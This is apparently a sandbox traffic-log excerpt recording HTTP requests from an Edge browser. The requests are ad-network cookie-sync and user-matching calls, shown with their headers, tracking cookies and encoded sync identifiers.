Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11563&id=5efa61bd-574f-4c56-bd4b-0ee5e129814c HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /api/sync?callerId=77&gdpr=0&gdpr_consent= HTTP/1.1Host: ssbsync.smartadserver.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /us?consent_string=&gdpr=0&loc=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D115667%26uid%3D%5BUID%5D HTTP/1.1Host: sync.go.sonobi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync/disqus?puid=ua-a477c4ab-523e-3704-8093-8c5ca34f678b&gdpr=0&gdpr_consent=&us_privacy=&cb=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D33%26buyeruid%3D__ZUID__%26r%3DCid1YS1hNDc3YzRhYi01MjNlLTM3MDQtODA5My04YzVjYTM0ZjY3OGIqYmh0dHBzOi8vY3Mtc2VydmVyLXMycy55ZWxsb3dibHVlLmlvL2NzP2Z3cmQ9MSZhaWQ9MTE2MTImaWQ9dWEtYTQ3N2M0YWItNTIzZS0zNzA0LTgwOTMtOGM1Y2EzNGY2NzhiMgIhKTgB HTTP/1.1Host: b1sync.zemanta.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /visitor/bsync?name=risecode&uid=40a3c28f9ffc73ee86df2bac2d2bb390&url=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11609%26id%3D%5BBUYER_ID%5D%0A HTTP/1.1Host: visitor-risecode.omnitagjs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=appnexus&userId=2630127119070967565&gdpr=&gdpr_consent=&us_privacy=&gdpr=&gdpr_consent= HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=MV215d2VHlrfkTqoxsHhHxAmKR4GCA4mAk1CKGpdAgFjewkUUA9jRVtJEHhYVQUyKwlFBQ92XU1NFXtdV1dkcAhFUl9lEl9IQn8MB1dhKw5QSkliQl1JEXhRUgVneVRGU1M3QFZJRyldUQd0ZE5EVw9gRF9JR3tbVgZlKVxCV1xkFAlPFStKSBBjLl8XUltsSAwaRH8JUgJmeVsRBV9hFVtaX2peVQBjeVwTAgpgQlwZRXhYVQVuf1lCUF92XU1OQHwNXQpmfA4QVQgwRwwdF3pYBwFhfQ5QSkliQwkdRn8LBlYwf14WUl5nSV5LR31ZVFN0ZE5HAFxtRlgaRHxaXFZmKlxCV1w1ElkcRS1KSBBgfQlGX1plR10aRHAJUAUwKQpBUVs3EA1aX2peUlcyelsTV11hQF1JRHBeVAdleghCAgl2XU1OQX5RVgsyLltBBQk3SVdBEnAMVgowe1xQSkliR1xIEnpcAQpiLVgWUVI1SFdAFy1cUAZ0ZE5EUw83R1ZAFS5fVgc3eVsWBAlhQQxOEn9KSBBgfl1FAlxnEA0dSnpaBwRgLAlDBAhtR19aX2peUQZlf11BAw82E1ZMQHhQAAc1eFxKXl92XU1ORykJAFZuKg1BAglsRwkZEnkJUws3fg5QSkliRAoeQHxYUAVueVQWUQ1mF1ccEnhZUFB0ZE5EUggySFlIRHpaUlRmK1xAAl9sR1sdEi1KSBBgfg1FX15mR11MFy0LUwoycFRHVQ8xElpaX2peVlQzfQpGVA4yEFpNRXgKUgVleQhGBwl2XU1OQXgJVgRheA4XBQkyE1ZPRnxfUgVmKQhQSkliRwlBQywJUwYzcApFV1lnQ1tARXELVwJ0ZE5EUVxmEgweS3ELAlMwfA9AUVplQltKFnxKOR50LwgCFEluCk0RAA09RggwKQABA0d2FgsIAWpSRhB6agsWFhkXHgELFiYcRgh0akBQExgEAwYOEisRRgh0eUE8S0l4UwgIA2pSRhB6agsCFjg9FU1CUWpERkAzLAUAAwggU1VaGzwcFEFsZ0MHFRl6BAEcFjocC1wzZg8dC0QhAgoKIyEQAV55OxUcBVQkEB0MHS0aLVZrfVVUEwIwTEsDBS
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=appnexus&userId=2630127119070967565&gdpr=&gdpr_consent=&us_privacy=1-N-&gdpr=&gdpr_consent= HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=MV215d2VHlrfkTqoxsHhHxAmKR4GCA4mAk1CKGpdAgFjewkUUA9jRVtJEHhYVQUyKwlFBQ92XU1NFXtdV1dkcAhFUl9lEl9IQn8MB1dhKw5QSkliQl1JEXhRUgVneVRGU1M3QFZJRyldUQd0ZE5EVw9gRF9JR3tbVgZlKVxCV1xkFAlPFStKSBBjLl8XUltsSAwaRH8JUgJmeVsRBV9hFVtaX2peVQBjeVwTAgpgQlwZRXhYVQVuf1lCUF92XU1OQHwNXQpmfA4QVQgwRwwdF3pYBwFhfQ5QSkliQwkdRn8LBlYwf14WUl5nSV5LR31ZVFN0ZE5HAFxtRlgaRHxaXFZmKlxCV1w1ElkcRS1KSBBgfQlGX1plR10aRHAJUAUwKQpBUVs3EA1aX2peUlcyelsTV11hQF1JRHBeVAdleghCAgl2XU1OQX5RVgsyLltBBQk3SVdBEnAMVgowe1xQSkliR1xIEnpcAQpiLVgWUVI1SFdAFy1cUAZ0ZE5EUw83R1ZAFS5fVgc3eVsWBAlhQQxOEn9KSBBgfl1FAlxnEA0dSnpaBwRgLAlDBAhtR19aX2peUQZlf11BAw82E1ZMQHhQAAc1eFxKXl92XU1ORykJAFZuKg1BAglsRwkZEnkJUws3fg5QSkliRAoeQHxYUAVueVQWUQ1mF1ccEnhZUFB0ZE5EUggySFlIRHpaUlRmK1xAAl9sR1sdEi1KSBBgfg1FX15mR11MFy0LUwoycFRHVQ8xElpaX2peVlQzfQpGVA4yEFpNRXgKUgVleQhGBwl2XU1OQXgJVgRheA4XBQkyE1ZPRnxfUgVmKQhQSkliRwlBQywJUwYzcApFV1lnQ1tARXELVwJ0ZE5EUVxmEgweS3ELAlMwfA9AUVplQltKFnxKOR50LwgCFEluCk0RAA09RggwKQABA0d2FgsIAWpSRhB6agsWFhkXHgELFiYcRgh0akBQExgEAwYOEisRRgh0eUE8S0l4UwgIA2pSRhB6agsCFjg9FU1CUWpERkAzLAUAAwggU1VaGzwcFEFsZ0MHFRl6BAEcFjocC1wzZg8dC0QhAgoKIyEQAV55OxUcBVQkEB0MHS0aLVZrfVVUEwIwTE
Source: global traffic	HTTP traffic detected: GET /api/user/image/55537adc33d1b40300987e8e?gdpr=&gdpr_consent=&redirect=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D%24%7BvdzUserSyncMacro%7D HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=MV215d2VHlrfkTqoxsHhHxAmKR4GCA4mAk1CKGpdAgFjewkUUA9jRVtJEHhYVQUyKwlFBQ92XU1NFXtdV1dkcAhFUl9lEl9IQn8MB1dhKw5QSkliQl1JEXhRUgVneVRGU1M3QFZJRyldUQd0ZE5EVw9gRF9JR3tbVgZlKVxCV1xkFAlPFStKSBBjLl8XUltsSAwaRH8JUgJmeVsRBV9hFVtaX2peVQBjeVwTAgpgQlwZRXhYVQVuf1lCUF92XU1OQHwNXQpmfA4QVQgwRwwdF3pYBwFhfQ5QSkliQwkdRn8LBlYwf14WUl5nSV5LR31ZVFN0ZE5HAFxtRlgaRHxaXFZmKlxCV1w1ElkcRS1KSBBgfQlGX1plR10aRHAJUAUwKQpBUVs3EA1aX2peUlcyelsTV11hQF1JRHBeVAdleghCAgl2XU1OQX5RVgsyLltBBQk3SVdBEnAMVgowe1xQSkliR1xIEnpcAQpiLVgWUVI1SFdAFy1cUAZ0ZE5EUw83R1ZAFS5fVgc3eVsWBAlhQQxOEn9KSBBgfl1FAlxnEA0dSnpaBwRgLAlDBAhtR19aX2peUQZlf11BAw82E1ZMQHhQAAc1eFxKXl92XU1ORykJAFZuKg1BAglsRwkZEnkJUws3fg5QSkliRAoeQHxYUAVueVQWUQ1mF1ccEnhZUFB0ZE5EUggySFlIRHpaUlRmK1xAAl9sR1sdEi1KSBBgfg1FX15mR11MFy0LUwoycFRHVQ8xElpaX2peVlQzfQpGVA4yEFpNRXgKUgVleQhGBwl2XU1OQXgJVgRheA4XBQkyE1ZPRnxfUgVmKQhQSkliRwlBQywJUwYzcApFV1lnQ1tARXELVwJ0ZE5EUVxmEgweS3ELAlMwfA9AUVplQltKFnxKOR50LwgCFEluCk0RAA09RggwKQABA0d2FgsIAWpSRhB6agsWFhkXHgELFiYcRgh0akBQExgEAwYOEisRRgh0eUE8S0l4UwgIA2pSRhB6agsCFjg9FU1CUWpERkAzLAUAAwggU1VaGzwcFEFsZ0MHFRl6BAEc
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D98%26uid%3D$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /ups/58545/occ HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /user-matching?id=3679&gdpr=0&gdpr_consent= HTTP/1.1Host: ads.stickyadstv.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=159706&gdpr=0&gdpr_consent=&us_privacy=&pu=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D${GDPR}%26gdpr_consent%3D${GDPR_STRING}%26uid%3D%23PMUID HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?redirect=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11595%26id%3D%7BID5UID%7D&gdpr_consent=&gdpr=0&us_privacy=&gdpr_pd=&source=5&google_push=&retry= HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?ssp=onetag&gdpr=0&gdpr_consent=&user_id=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ps/?_=1739863215948.&ri=zzz000000000002zzz&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy=1-N-&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/syncr?gdpr=&gdprstr=&partnerId=59&r=https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dundertonenew%26userId%3D%24UIDENC%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
